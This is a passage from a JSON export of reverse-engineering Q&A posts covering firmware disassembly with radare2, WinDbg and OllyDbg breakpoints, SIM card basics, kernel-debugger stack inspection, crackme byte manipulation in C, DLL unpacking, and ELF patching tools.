    vaddr=0x0000aa95 paddr=0x0000aa95 ordinal=1093 sz=28 len=13 section=unknown type=wide string=h(\u80d0\u6047\u0507\u04d5\u6820\u3060i(\u80d0\u2047\u0507\nvaddr=0x0000aab5 paddr=0x0000aab5 ordinal=1094 sz=54 len=26 section=unknown type=wide string=i(\u80d0\u2c47\u6f69\ue069\u1106\ue3d5Hh\u0428\u28d0\ue269\u0849\u2840\u0461\u28e0\u0169\u0921\u8805\u2843\u7061h(\u80d0\ue047\nvaddr=0x0000aaef paddr=0x0000aaef ordinal=1095 sz=10 len=4 section=unknown type=wide string=Hh\u0328\u28d0\nvaddr=0x0000ab07 paddr=0x0000ab07 ordinal=1096 sz=62 len=30 section=unknown type=wide string=h(\u80d0\uf847\u1106\ud0d5Hh\u0428\u68d0\uce69\u0849\u6840\u0461\u68e0\u0169\u0921\u8805\u6843\u7061i(\u80d0\uf847\u0f02\uc6d5Hh\u0328\u68d0\nvaddr=0x0000ab53 paddr=0x0000ab53 ordinal=1097 sz=70 len=34 section=unknown type=wide string=i(\u80d0\uf847\uf8bd\uc0b5\u6c4d\uc068\ue04e\u0507\u01d0\u6820\u3060h(\u80d0\ua047\u0507\u02d5\u6820\ub060h(\u80d0\u6047\u0507\u04d5\u6820\u3060i(\u80d0\u2047\u0507\nvaddr=0x0000ab9d paddr=0x0000ab9d ordinal=1098 sz=58 len=28 section=unknown type=wide string=i(\u80d0\u2c47\u6f69\ue069\u1106\ua9d5Hh\u0428\u28d0\ua869\u0849\u2840\u0461\u28e0\u0169\u0921\u8805\u2843\u7061h(\u80d0\ue047\ua202\u0f4c\nvaddr=0x0000abd7 paddr=0x0000abd7 ordinal=1099 sz=10 len=4 section=unknown type=wide string=Hh\u0328\u28d0\nvaddr=0x0000abef paddr=0x0000abef ordinal=1100 sz=62 len=30 section=unknown type=wide string=h(\u80d0\uf847\u1106\u96d5Hh\u0428\u68d0\u9469\u0849\u6840\u0461\u68e0\u0169\u0921\u8805\u6843\u7061i(\u80d0\uf847\u0f02\u8cd5Hh\u0328\u68d0\nvaddr=0x0000ac3b paddr=0x0000ac3b ordinal=1101 sz=22 len=10 section=unknown type=wide string=i(\u80d0\uf847\u88bd\u8148\u0f68\u1222\u1105\u8143\n
    \n\n

    I cannot read these characters, so I do not know what language they are from. Maybe it is just gibberish.

    \n\n

    3. Using a hex editor

    \n\n

    A hex editor with a GUI can be used to quickly search for patterns in the data. For example, the byte 0A looks like it is used as a terminating character for ASCII strings:

    \n\n

    \"0A

    \n\n

    Disassembly

    \n\n

    So how should the binary be disassembled using r2? Are any there any special arguments or commands for 16-bit ARM Thumb instructions + some 32-bit Thumb2 instructions?

    \n\n

    From How to disassemble to ARM UAL?:

    \n\n
    \n

    -b16 is asumed for thumb, not because the instruction size or the register size. Its an exception to make things simpler. Because its\n just a mode of the cpu.

    \n \n

    -b16 sets thumb2 mode in capstone disassembler (as well as in gnu). Thumb2 contains 2 byte and 4 byte instruction lengths. Thumb was only\n 2. But thumb and thumb2 are binarynl compatible, so it makes sense to use thumb2 here, unless the cpu doesnt supports it.

    \n \n

    From what i understand from ual is that this ist just a syntax, and\n this symtax should be ready in capstone.

    \n \n

    Capstone knows nothing about code or data. It just disassembles.

    \n
    \n\n

    In order to properly disassemble the file, it is critical that the correct architecture is specified:

    \n\n
    \n

    -b bits force asm.bits (16, 32, 64)

    \n
    \n\n

    For this firmware binary, -b 16 should be used, not -b 32:

    \n\n

    $ r2 -a arm -b 16 ihex://SMOK_X_CUBE_II_firmware_v1.07.hex

    \n\n

    If -b 32 is used, the result is quite a bit of byte sequences r2 reads as invalid due to misalignment:\n\"invalid

    \n\n

    For reference, here is disassembly beginning at the same offset, 0x1e8, with proper 16-bit alignment:

    \n\n

    \"less

    \n\n

    Obviously this is totally different.

    \n\n

    To analyze the disassembled code, one must be familiar with the ARM Thumb instruction set and assembly, and probably ARM more generally (CPU design, registers, etc.). A good starting point appears to be the Azeria Labs series of tutorials .

    \n\n

    Additional Considerations

    \n\n\n\n

    Conclusion

    \n\n

    Hopefully the approach used here proves useful for your future firmware RE endeavors. Analyzing firmware poses its own set of challenges because of the close relationship between it and it the hardware it is designed to be embedded in. Since the design and architecture of the device determines the layout and content of firmware, firmware sometimes cannot be reversed without access to the device, or at the very least knowing the instruction set architecture of the device.

    \n" }, { "Id": "15009", "CreationDate": "2017-03-25T15:25:49.730", "Body": "

    I found a breakpoint in OllyDbg that works for my purposes. But now I want to use WinDbg for scripting and when I try to set the same breakpoint, I get no breaks.

    \n\n

    In OllyDbg, the following breakpoint gets me exactly what I want:

    \n\n

    Address=75B0C4FA | Module=KERNELBA | Active=Always | Disassembly=CMP EAX,103

    \n\n

    But when I try to set a breakpoint in WinDbg , it never comes back with anything:

    \n\n

    bp 75b0c4fa

    \n\n

    According to the MS Dev Center documentation for the bp command, I should be able to reference addresses specifically, but in my searching, most people are using bp to reference API calls, such as bp ReadFile (which does break as expected).

    \n\n

    My questions: is it possible to use the breakpoint (75B0C4FA) using WinDbg?\nAnd if so, what am I missing in terms of adapting the address I have to make it work in Windbg? \nDoes it have to do with bp ReadFile accessing the ReadFile API calls for the main process, while with my breakpoint, it is trying to put breaks into sub module?

    \n", "Title": "Using breakpoints from OllyDbg in Windbg", "Tags": "|ollydbg|windbg|", "Answer": "

    Dlls do not load at same address the load address is randomised due to aslr subtract the base address of kernelbase from your address in ollydbg viz75xxxx - say 74xxxxx. = 01xxxxx. Now in windbg find where kernelbase is loaded. Ssy 58xxxxxx. Add the 01xxxxx to this base address. And set bp viz 58xxxxx + 01xxxxx = 59xxxxx

    \n\n

    Bp 59xxxxxx.

    \n\n

    Read about rva aslr loadaddress etc to get a hang of this

    \n" }, { "Id": "15011", "CreationDate": "2017-03-25T16:38:37.950", "Body": "

    I understand that a SIM card has memory, and that some or maybe all of them also include microprocessors.

    \n\n

    They act as peripherals that are more than just flash memory.

    \n\n

    I would like to be able to read the contents and extract my contacts and messages, for backup, so I bought an el-cheapo \"SIM Card Reader\" that plugs into a USB port. But when I plug it in it is as if it isn't even there.

    \n\n

    So how can I get access to the data?

    \n\n

    Secondly, I understand that they can affect the baseband portion of the cellphone, including frequency of operation and whatever codes are necessary to identify itself (IMEI) and to access a particular network (T-Mobile, AT&T, Verizen). Again, it is clearly more than just flash memory.

    \n\n

    So my question is, how exactly do they work, and how can I read the data from my phone's card?

    \n", "Title": "How does a SIM card work?", "Tags": "|firmware|memory|", "Answer": "

    Found some good answers in this article:

    \n\n

    What Is A SIM Card (And What Comes Next)? (howtogeek.com)

    \n\n

    EXCERPT:

    \n\n
    \n

    What\u2019s Stored On A SIM Card?

    \n \n

    A SIM card stores the 15-digit International Mobile Subscriber Identity (IMSI) \n identifying the card on carrier\u2019s mobile network. The IMSI is an\n important part of the lookup process and determines the network to\n which a mobile device connects.

    \n \n

    Along with the IMSI, a 128-bit value authentication key (Ki) is sent\n to verify your SIM with the GSM cellular network. The Ki is assigned\n by the operator and stored in a database on their network.

    \n \n

    A SIM card is also capable of storing SMS messages and the names and\n phone numbers of up to 500 contacts, depending on the memory size of\n the SIM card you have. If you have to change phones for whatever\n reason, you\u2019re able to transfer your contacts via the SIM card\n painlessly.

    \n \n

    Most SIM cards contain between 64-128 KB of storage.

    \n \n

    > How Does A SIM Work?

    \n \n

    Essentially, a SIM card serves as your phone\u2019s credentials to access\n the carrier network. Because the SIM holds this information, you\u2019re\n able to pop it into any phone with the same carrier, or an unlocked\n phone, to access the network.

    \n \n

    Here\u2019s how it works:

    \n \n

    When you boot up your device, it obtains the IMSI from the SIM, and\n then relays the IMSI to the network in order to request access.

    \n \n

    The operator network searches the database for your IMSI and the\n associated Ki.

    \n \n

    Assuming your IMSI and Ki are verified, the operator\n then generates a random number, signs it with your Ki using the GSM\n cryptography algorithm for computing SRES_2, and creates a new unique\n number.

    \n \n

    The network then sends that unique number back to the device,\n which then passes it to the SIM to use in the same algorithm, creating\n a third number.

    \n \n

    This number is then relayed back to the network.

    \n \n

    If both numbers match, the SIM card is deemed legitimate and is granted\n access to the network.

    \n \n

    So if you break the screen on your phone, while\n it\u2019s getting fixed you can take your SIM out and put it in a\n replacement phone and still access phone calls, texts, and data from\n your network.

    \n
    \n" }, { "Id": "15017", "CreationDate": "2017-03-26T09:19:44.387", "Body": "

    I'm looking for the start address of where myfile.exe mapped into memory using Windbg.\nFor this I connected to a VMWare for kernel debugging through serial port, after that I run myfile.exe in guest machine and attach to it from guest machine by ollydbg to see any editing that made in kernel debugging takes place in myfile.exe then break the Windbg to edit memory from host machine.

    \n\n

    So I use the following command to get all the processes to see where can I find myfile.exe :

    \n\n
     kd> !process 0 0\n
    \n\n

    And it gives me a long list of processes where I can finally find myfile.exe.

    \n\n
    PROCESS ffffe001f9652080\n    SessionId: 1  Cid: 0da4    Peb: 7ffdf000  ParentCid: 0588\n    DirBase: 11d6d000  ObjectTable: ffffc0013e905680  HandleCount: <Data Not Accessible>\n    Image: myfile.exe\n
    \n\n

    So for more details about this process I run :

    \n\n
     kd> !process ffffe001f9652080 7\n
    \n\n

    and it gives me :

    \n\n
        1: kd> !process ffffe001f9652080 7\nPROCESS ffffe001f9652080\n    SessionId: 1  Cid: 0da4    Peb: 7ffdf000  ParentCid: 0588\n    DirBase: 11d6d000  ObjectTable: ffffc0013e905680  HandleCount: <Data Not Accessible>\n    Image: myfile.exe\n    VadRoot ffffe001f64dda10 Vads 129 Clone 0 Private 5676. Modified 520. Locked 0.\n    DeviceMap ffffc0013dff8c30\n    Token                             ffffc0014336a8e0\n    ElapsedTime                       00:08:14.197\n    UserTime                          00:00:00.046\n    KernelTime                        00:00:00.125\n    QuotaPoolUsage[PagedPool]         231392\n    QuotaPoolUsage[NonPagedPool]      17632\n    Working Set Sizes (now,min,max)  (11793, 50, 345) (47172KB, 200KB, 1380KB)\n    PeakWorkingSetSize                13859\n    VirtualSize                       148 Mb\n    PeakVirtualSize                   159 Mb\n    PageFaultCount                    24764\n    MemoryPriority                    BACKGROUND\n    BasePriority                      8\n    CommitCharge                      6195\n    DebugPort                         ffffe001fa6f0f90\n    Job                               ffffe001f8544620\n    THREAD ffffe001fa713440  Cid 0da4.10a4  Teb: 000000007ffdb000 Win32Thread: ffffe001f6822cb0 WAIT: (WrUserRequest) UserMode Non-Alertable\n        ffffe001fa4bbb90  SynchronizationEvent\n    Not impersonating\n    DeviceMap                 ffffc0013dff8c30\n    Owning Process            ffffe001f9652080       Image:         myfile.exe\n    Attached Process          N/A            Image:         N/A\n    Wait Start TickCount      56653          Ticks: 2 (0:00:00:00.031)\n    Context Switch Count      11053          IdealProcessor: 2             \n    UserTime                  00:00:01.125\n    KernelTime                00:00:00.781\n    Win32 Start Address 0x000000000044aa31\n    Stack Init ffffd00025d59c90 Current ffffd00025d59480\n    Base ffffd00025d5a000 Limit ffffd00025d54000 Call 0\n    Priority 10 BasePriority 8 UnusualBoost 0 ForegroundBoost 0 IoPriority 2 PagePriority 5\n\n    Child-SP          RetAddr           : Args to Child                                                           : Call Site\n    ffffd000`25d594c0 fffff802`a1c92130 : ffffe001`f805e0c0 fffff961`00000000 ffffe001`fa713440 fffff802`a1c8ee76 : nt!KiSwapContext+0x76\n    ffffd000`25d59600 fffff802`a1c91b48 : 00000000`00000000 00000000`00010001 00000000`00000000 00000000`00000000 : nt!KiSwapThread+0x160\n    ffffd000`25d596b0 fffff802`a1c9120d : 00000000`00000000 00000000`00000000 ffffd000`25d59900 00000000`00000000 : nt!KiCommitThreadWait+0x148\n    ffffd000`25d59740 fffff961`00c95dc5 : fffff901`00000000 ffffd000`25d598a0 fffff901`423edb20 fffff901`0000000d : nt!KeWaitForMultipleObjects+0x3fd\n    ffffd000`25d59800 fffff961`00c959f8 : fffff901`423edb20 fffff901`423edb20 00000000`00003dff fffff961`00c958a3 : win32kfull!xxxRealSleepThread+0x355\n    ffffd000`25d598f0 fffff961`00c94ba0 : ffffd000`25d59b80 00000000`00000000 fffff901`423edb20 00000000`00000000 : win32kfull!xxxSleepThread2+0x98\n    ffffd000`25d59940 fffff961`00c93fc0 : ffffd000`25d59ab8 ffffd000`25d5c240 00000000`00000000 00000000`ffffffff : win32kfull!xxxRealInternalGetMessage+0xb70\n    ffffd000`25d59a70 fffff802`a1dd2a63 : ffffe001`fa713440 00000000`570a8480 00000000`00000020 00000000`00000000 : win32kfull!NtUserGetMessage+0x90\n    ffffd000`25d59b00 00000000`570b344a : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!KiSystemServiceCopyEnd+0x13 (TrapFrame @ ffffd000`25d59b00)\n    00000000`0009e6b8 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : 0x570b344a\n\n    THREAD ffffe001fab05840  Cid 0da4.11ac  Teb: 000000007fe9e000 Win32Thread: 0000000000000000 WAIT: (WrQueue) UserMode Alertable\n        ffffe001f6741d40  QueueObject\n    Not impersonating\n    DeviceMap                 ffffc0013dff8c30\n    Owning Process            ffffe001f9652080       Image:         myfile.exe\n    Attached Process          N/A            Image:         N/A\n    Wait Start TickCount      51667          Ticks: 4988 (0:00:01:17.937)\n    Context Switch Count      34             IdealProcessor: 2             \n    UserTime                  00:00:00.000\n    KernelTime                00:00:00.015\n    Win32 Start Address 0x0000000077e54630\n    Stack Init ffffd000203cfc90 Current ffffd000203cf420\n    Base ffffd000203d0000 Limit ffffd000203ca000 Call 0\n    Priority 8 BasePriority 8 UnusualBoost 0 ForegroundBoost 0 IoPriority 2 PagePriority 5\n    Child-SP          RetAddr           : Args to Child                                                           : Call Site\n    ffffd000`203cf460 fffff802`a1c92130 : 0000ffff`00000000 00000000`00000001 ffffe001`fab05980 ffffe001`fab05940 : nt!KiSwapContext+0x76\n    ffffd000`203cf5a0 fffff802`a1c91b48 : 00000000`743af562 00000000`00000030 00000000`00000000 ffffe001`f9652578 : nt!KiSwapThread+0x160\n    ffffd000`203cf650 fffff802`a1c907a5 : 00000000`69f79021 00000000`00000010 fffffa80`013de6b0 fffffa80`0127b690 : nt!KiCommitThreadWait+0x148\n    ffffd000`203cf6e0 fffff802`a1c90382 : ffffe001`f6741d40 00000000`00000000 00000000`00000001 00000000`00000000 : nt!KeRemoveQueueEx+0x215\n    ffffd000`203cf750 fffff802`a1c8fd43 : fffff680`003a1d78 ffffe001`f9652578 ffffd000`203cfa00 00000000`00000000 : nt!IoRemoveIoCompletion+0x82\n    ffffd000`203cf870 fffff802`a1dd2a63 : fffff6fb`40001d08 fffff680`003a1d78 ffff504a`eece1c5c 00000000`00000000 : nt!NtWaitForWorkViaWorkerFactory+0x303\n    ffffd000`203cfa90 00007ff9`eeab538a : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!KiSystemServiceCopyEnd+0x13 (TrapFrame @ ffffd000`203cfb00)\n    00000000`049eea78 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!NtWaitForWorkViaWorkerFactory+0xa\n
    \n\n

    So I note that there is 2 stacks for 2 threads as I see in Olly previously.\nas you can see :

    \n\n
        Stack Init ffffd00025d59c90 Current ffffd00025d59480\n    Stack Init ffffd000203cfc90 Current ffffd000203cf420\n
    \n\n

    So I imagine that I am at the process Virtual Address so I run the debuggee (press g) and edit both start and end of stacks via Olly in guest machine.\nThen break the guest machine again and do a dc to see the memories in that regions like :

    \n\n
        dc ffffd00025d59c90 \n    dc ffffd000203cfc90 \n
    \n\n

    but I cannot see any changes (that I made in Stacks by Olly) !

    \n\n

    So my questions are:

    \n\n\n\n

    Note : myfile.exe is a 32-bit program that runs under a 64-bit Windows 10 gust machine and the host machine is also a 64-bit Windows 10.

    \n\n

    Update 1 : I edit the content of stack in olly. Both start of stack and end of stack.

    \n", "Title": "Get address of where process mapped in Windbg", "Tags": "|windows|ollydbg|windbg|", "Answer": "

    the stack you see in !process @$proc 7 is kernel stack not usermode stack

    \n\n

    if you want to see usermode stack use 0x17 flag

    \n\n

    whatever you edit in usermode would only be available in address that belongs to usermode stack that is address less that 0x80000000 normally

    \n\n

    here is a calc.exe stack in kernel mode debugger

    \n\n
    kd> !process 0 17 calc.exe\nFailed to get VAD root\nPROCESS 811c3500  SessionId: 0  Cid: 0560    Peb: 7ffd7000  ParentCid: 00a8\n    DirBase: 01cc4000  ObjectTable: e1a63450  HandleCount:  28.\n    Image: calc.exe\n    VadRoot 00000000 Vads 0 Clone 0 Private 115. Modified 0. Locked 0.\n    DeviceMap e1a2ed30\n    Token                             e1c22270\n    ElapsedTime                       00:00:06.709\n    UserTime                          00:00:00.030\n    KernelTime                        00:00:00.060\n    QuotaPoolUsage[PagedPool]         0\n    QuotaPoolUsage[NonPagedPool]      0\n    Working Set Sizes (now,min,max)  (644, 50, 345) (2576KB, 200KB, 1380KB)\n    PeakWorkingSetSize                644\n    VirtualSize                       27 Mb\n    PeakVirtualSize                   34 Mb\n    PageFaultCount                    669\n    MemoryPriority                    FOREGROUND\n    BasePriority                      8\n    CommitCharge                      187\n\n        THREAD 810efda8  Cid 0560.0564  Teb: 7ffdf000 Win32Thread: e1a631d0 WAIT: (WrUserRequest) UserMode Non-Alertable\n            ffafbb00  SynchronizationEvent\n        Not impersonating\n        DeviceMap                 e1a2ed30\n        Owning Process            00000000       Image:         \n        Attached Process          811c3500       Image:         calc.exe\n        Wait Start TickCount      6064           Ticks: 23 (0:00:00:00.230)\n        Context Switch Count      164            IdealProcessor: 0                 LargeStack\n        UserTime                  00:00:00.020\n        KernelTime                00:00:00.060\n        Win32 Start Address calc!WinMainCRTStartup (0x01012475)\n        Stack Init f8bc2000 Current f8bc1c20 Base f8bc2000 Limit f8bbd000 Call 00000000\n        Priority 12 BasePriority 8 PriorityDecrement 2 IoPriority 0 PagePriority 0\n\n        ChildEBP RetAddr  Args to Child              \n        f8bc1c38 804dc0f7 810efe18 810efda8 804dc143 nt!KiSwapContext+0x2e (FPO: [Uses EBP] [0,0,4])\n        f8bc1c44 804dc143 000025ff e1a631d0 00000000 nt!KiSwapThread+0x46 (FPO: [0,0,0])\n        f8bc1c6c bf802f52 00000001 0000000d 00000001 nt!KeWaitForSingleObject+0x1c2 (FPO: [Non-Fpo])\n        f8bc1ca8 bf801b2a 000025ff 00000000 00000001 win32k!xxxSleepThread+0x192 (FPO: [Non-Fpo])\n        f8bc1cec bf819e6c f8bc1d18 000025ff 00000000 win32k!xxxRealInternalGetMessage+0x418 (FPO: [Non-Fpo])\n        f8bc1d4c 804de7ec 0007fee8 00000000 00000000 win32k!NtUserGetMessage+0x27 (FPO: [Non-Fpo])\n        f8bc1d4c 7c90e4f4 0007fee8 00000000 00000000 nt!KiFastCallEntry+0xf8 (FPO: [0,0] TrapFrame @ f8bc1d64)\n        0007fddc 7e4191be 7e4191f1 0007fee8 00000000 ntdll!KiFastSystemCallRet (FPO: [0,0,0])\n        0007fdfc 010021b0 0007fee8 00000000 00000000 USER32!NtUserGetMessage+0xc\n        0007ff1c 010125e9 000a8aa8 00000055 000a8aa8 calc!WinMain+0x25f (FPO: [Non-Fpo])\n        0007ffc0 7c817067 80000001 0144da28 7ffd7000 calc!WinMainCRTStartup+0x174 (FPO: [Non-Fpo])\n        0007fff0 00000000 01012475 00000000 78746341 kernel32!BaseProcessStart+0x23 (FPO: [Non-Fpo])\n
    \n\n

    ie the usermode stack part in above paste is at

    \n\n
    kd> dc 0007fddc\n0007fddc  ???????? ???????? ???????? ????????  ????????????????\n0007fdec  ???????? ???????? ???????? ????????  ????????????????\n0007fdfc  ???????? ???????? ???????? ????????  ????????????????\n0007fe0c  ???????? ???????? ???????? ????????  ????????????????\n0007fe1c  ???????? ???????? ???????? ????????  ????????????????\n0007fe2c  ???????? ???????? ???????? ????????  ????????????????\n0007fe3c  ???????? ???????? ???????? ????????  ????????????????\n0007fe4c  ???????? ???????? ???????? ????????  ????????????????\n\nkd> .process /p /r 811c3500\nImplicit process is now 811c3500\n.cache forcedecodeuser done\nLoading User Symbols\n.....................\n\n\n\nkd> dc 0007fddc\n0007fddc  00000000 7e4191be 7e4191f1 0007fee8  ......A~..A~....\n0007fdec  00000000 00000000 00000000 7e4191c6  ..............A~\n0007fdfc  0007ff1c 010021b0 0007fee8 00000000  .....!..........\n0007fe0c  00000000 00000000 7c80b731 000a232f  ........1..|/#..\n0007fe1c  00000000 00000000 00000000 00000000  ................\n0007fe2c  00000000 00000000 00000000 00000000  ................\n0007fe3c  00000000 00000000 00000000 00000000  ................\n0007fe4c  00000000 00000000 00000000 00000000  ................\n
    \n\n

    you can see the edits done in ollydbg reflecting in kd on proper process context in user mode stack (make sure you dont edit message loops they are repeatedly called and overwritten on each call )

    \n\n

    \"enter

    \n" }, { "Id": "15022", "CreationDate": "2017-03-26T20:24:52.663", "Body": "

    I'm writing a keygen for a crack-me exercise.

    \n\n

    I have a problem with handling byte assignments the crack-me performs several times using instructions like MOV AL,BYTE PTR DS:[ESI] (move byte from location to AL) to change EAX for example from 000096BA to 00009662.

    \n\n

    The crack-me overflows EAX value several times so to calculate the key I use an unsigned int in my C program.

    \n\n

    The problem I have is that I do not know how I can replace a single byte value in unsigned int example from 0x38586d to 0x38498d, changing the second byte only.

    \n", "Title": "c++ version of MOV AL,BYTE PTR DS:[ESI]", "Tags": "|c++|c|crackme|", "Answer": "

    First, most decent compilers will let you introduce assembly directly in your C code. This is not recommended but the option should be noted.

    \n\n

    Now, here's a sane solution; C was several bitwise operators to manipulate sets of bits inside an integer.

    \n\n

    The bitwise operators we'll use here are:

    \n\n
      \n

    1. binary AND operator (&):

      \n\n

      A bit in the result variable is only set if it was set in both input variables. For example, 0b0011 & 0b1010 will result in 0b0010.

      2. \n

    2. binary OR operator (|)

      \n\n

      A bit in the result variable will be set if it was set in at least one of the input variables. For example, 0b0011 | 0b1010 will result in 0b1011.

      3. \n

    3. binary NOT operator (~)

      \n\n

      A bit in the result variable will only be set if it was not set in the input variable. For example, ~0b0001 will result in 0b1110.

      4. \n

    4. arithmetic shift operator (<<)

      \n\n

      A bit in the result variable will only be set if the bit n positions to the right in the first variable was set, where n is the second variable. If that position does not exist, the bit is not set. For example, 0b0000 0b0101 << 2 will result in 0b0001 0b0100.

      5. \n
    \n\n

    And here's how we could use them to set the lowest byte in dword a to that of char c, assuming a 32bit processor for simplicity's sake:

    \n\n
    unsigned int a = 0xa5a5a505;\nunsigned char c = 0xa0;\n
    \n\n

    First, we'll want to zero-out the lowest byte. We'll do that by ANDing the dword with a dword that has all of it's bits set except the 8 lowest bits (aka it's lowest byte).

    \n\n
    a = a & 0xffffff00\n
    \n\n

    Alternatively, we can use the NOT binary operator to create 0xffffff00 in a slightly cleaner manner, as follows:

    \n\n
    a = a & ~0xff\n
    \n\n

    After either of those lines, which perform exactly the same thing (and will look identical in assembly), a's value would be 0xa5a5a500.

    \n\n

    Now, we'll need to assign the value of c to that same byte. We'll use the OR bitwise operator in the following manner:

    \n\n
    a = a | c;\n
    \n\n

    Which will result in a having the value of 0xa5a5a5a0.

    \n\n

    Now, if we would like to do the same for the 2nd byte in the integer we'll shift the values by 8 bits before executing the same operators, like this:

    \n\n
    a = a & ~(0xff << 8)\n
    \n\n

    Is equivalent to:

    \n\n
    a = a & ~(0xff00)\n
    \n\n

    Which is identical to:

    \n\n
    a = a & 0xffff00ff\n
    \n\n

    Which will result with:

    \n\n
    a = 0xa5a50005\n
    \n\n

    And now, we'll add c at the 2nd byte's position:

    \n\n
    a = a | (c << 8)\n
    \n\n

    Which in our example is:

    \n\n
    a = a | 0xa000\n
    \n\n

    Which will result in 0xa5a5a005

    \n" }, { "Id": "15024", "CreationDate": "2017-03-26T22:24:23.150", "Body": "

    How can I break right when the program I am debugging quits? I don't know how to even locate the relevant code.

    \n", "Title": "ollydbg: how to set a breakpoint at program exit?", "Tags": "|ollydbg|debugging|", "Answer": "

    Set a break on TerminateProcess and friends when it breaks see the call stack and backtrack from there

    \n" }, { "Id": "15031", "CreationDate": "2017-03-27T20:30:22.847", "Body": "

    I have a packed DLL. It has an entry point. If I call LoadLibrary it gets unpacked with the entry point code. Then I can attach a debugger to the .exe that called LoadLibrary and see the unpacked dll dissasembly in my debugger.

    \n\n

    I know IDA has a \"universal unpacker\" plugin, as well as a \"reconstruct\" option. But I have the .dll open in IDA. A .dll can't be executed, so I can't seemingly use these tools.

    \n\n

    I have a memdump of the unpacked .dll, but I had trouble importing it manually in IDA. That doesn't seem like a promising route.

    \n\n

    Maybe I can create a custom console application that will load the .dll using LoadLibrary and then somehow call IDA PRO on that running instance?

    \n\n

    The .dll is so packed there are no exports table at all. I presume there are memory addresses that are given to the .dll user - and that's how the calling works. I've working on figuring out those addresses.

    \n\n

    Any help appreciated!

    \n", "Title": "How to run and reconstruct a packed DLL in IDA Pro?", "Tags": "|dll|unpacking|deobfuscation|packers|", "Answer": "
    \n

    I have a memdump of the unpacked .dll, but I had trouble importing it manually in IDA. That doesn't seem like a promising route.

    \n
    \n\n

    This is exactly the way to go. Given the right offset, this should work like charm. If you have any problems here, consider asking another question about it.

    \n\n
    \n

    Maybe I can create a custom console application that will load the .dll using LoadLibrary and then somehow call IDA PRO on that running instance?

    \n
    \n\n

    Yes. You should be able to use a program which only consists of a LoadLibrary call. LoadLibrary should map the library to your process space and execute its WinMain Function (which I presume is in charge of unpacking). If the unpacking functionality is not included in the .dll itself, you should really reconsider using a memory dump.

    \n" }, { "Id": "15035", "CreationDate": "2017-03-28T08:23:39.703", "Body": "

    I have a file with the extension of \"TOC\" I assumed it meant Table of Contents, and the contents of said file represent that it indeed is one.

    \n\n

    It's full of content such as this:

    \n\n
    117dbdd0 15 cardcropHD400.jpg.zib\n345cbe0 15 cardcropHD401.jpg.zib\n144800a 50 D3D11\\characters\\m10658_number_104_masquerade\\m10658_number_104_masquerade.phyre\n121dffc 50 D3D11\\characters\\m3800_blue_eyes_white_dragon\\m3800_blue_eyes_white_dragon.phyre\n121602c 3e D3D11\\characters\\m3806_dark_magician\\m3806_dark_magician.phyre\n12d2eb7 4e D3D11\\characters\\m3815_red_eyes_black_dragon\\m3815_red_eyes_black_dragon.phyre\n1223774 48 D3D11\\characters\\m4766_dark_magician_girl\\m4766_dark_magician_girl.phyre\n114145a 4a D3D11\\characters\\m6653_elemental_hero_neos\\m6653_elemental_hero_neos.phyre\n1117979 62 D3D11\\characters\\m7344_arcana_force_ex_the_light_ruler\\m7344_arcana_force_ex_the_light_ruler.phyre\n1d2edd5 42 D3D11\\characters\\m7734_stardust_dragon\\m7734_stardust_dragon.phyre\n128872f 4c D3D11\\characters\\m7735_red_dragon_archfiend\\m7735_red_dragon_archfiend.phyre\n116a658 44 D3D11\\characters\\m9575_number_39_utopia\\m9575_number_39_utopia.phyre\n1488223 58 D3D11\\characters\\m9656_number_17_leviathan_dragon\\m9656_number_17_leviathan_dragon.phyre\n17c81f4 60 D3D11\\characters\\m9708_sephylon_the_ultimate_timelord\\m9708_sephylon_the_ultimate_timelord.phyre\n
    \n\n

    Now, I figured the first line is a hex encoded size which checks out for the corresponding DAT size (Minus 6ish MB), the last column is obviously the file name. But, I don't know where to start on what the middle value is, it's a HEX encoding of something, but if you convert it and add them together it exceeds the left over buffer room.

    \n\n

    Anyone have any advice or how I could start looking into the EXE to see how it's handling the file? (I've tried running it through x64dbg but the munmbo jumbo of ASM means nothing to me)

    \n", "Title": "Finding What Data Means From File?", "Tags": "|binary-analysis|file-format|function-hooking|", "Answer": "

    the second column appears to be the length of the string in the third column

    \n\n

    from whatever was pasted as sample

    \n\n

    the file so.txt contains the posted sample data

    \n\n
    :\\>awk \"{ printf( \\\"%x \\\" , length($3)) ;print  $2}\" so.txt\n15 15\n15 15\n50 50\n50 50\n3e 3e\n4e 4e\n48 48\n4a 4a\n62 62\n42 42\n4c 4c\n44 44\n58 58\n60 60\n\n:\\>\n
    \n" }, { "Id": "15042", "CreationDate": "2017-03-28T19:46:44.153", "Body": "

    I am new to reverse engineering and after some research, I haven't found a clear way to do what I want to do.

    \n\n

    I have an ELF file, but not the original source code that generated it. It is really simple and just prints some numbers. I wanted to make a small change in the range of numbers it prints. I have disassembled it and figured out where the change must be made, but I am not sure how to make this change.

    \n\n

    Is there a way to edit disassembled code and still generate an executable file? Or should I figure out where in the hex file is the corresponding information that I want to change and use a hex editor?

    \n", "Title": "Making changes in ELF file after dissassembly", "Tags": "|disassembly|elf|hex|", "Answer": "

    Since no details about the binary are provided in the question, only a general answer can be given. It sounds like you are trying to statically modify an executable ELF binary. This is also referred to as patching. This is different from dynamic modification, or program runtime instrumentation.

    \n\n

    Tools and Examples

    \n\n

    Tools that can be used for patching include gdb, radare2, the ERESI suite, xxd and hexedit.

    \n\n

    Radare2

    \n\n

    Patch a elf binary in linux with radare2

    \n\n

    Tutorial 1 - Simple Patch

    \n\n

    fixing bugs in binaries using r2

    \n\n

    GDB

    \n\n

    Use gdb to Modify Binary

    \n\n

    Using GDB to modify an executable

    \n\n

    xxd

    \n\n

    Doing a Reverse Hex Dump

    \n\n

    hexedit

    \n\n

    Modifying Linux ELF Binaries - Changing Callq Addresses

    \n\n

    Similar questions:

    \n\n

    How can I change the values in esp?

    \n\n

    How do I add functionality to an existing binary executable?

    \n\n

    What are the available libraries to statically modify ELF executables?

    \n" }, { "Id": "15045", "CreationDate": "2017-03-29T03:20:08.610", "Body": "

    I am trying to add a 1000 byte code cave using LordPE to a standalone exe. From what I understand I have to edit the PE header with a new section of 1000 bytes then open the exe in a hex editor and add 1000 bytes to the end of the file.

    \n\n

    When I add the new section the offset is not at the end of the file and It actually points to existing code. If I change the RawOffset to match the actual end of file 0xAE370 it gets corrupted.

    \n\n

    Why won't the new section get added at the real end of file? Also, how can I add a new 1000 byte section without corrupting the file?

    \n\n

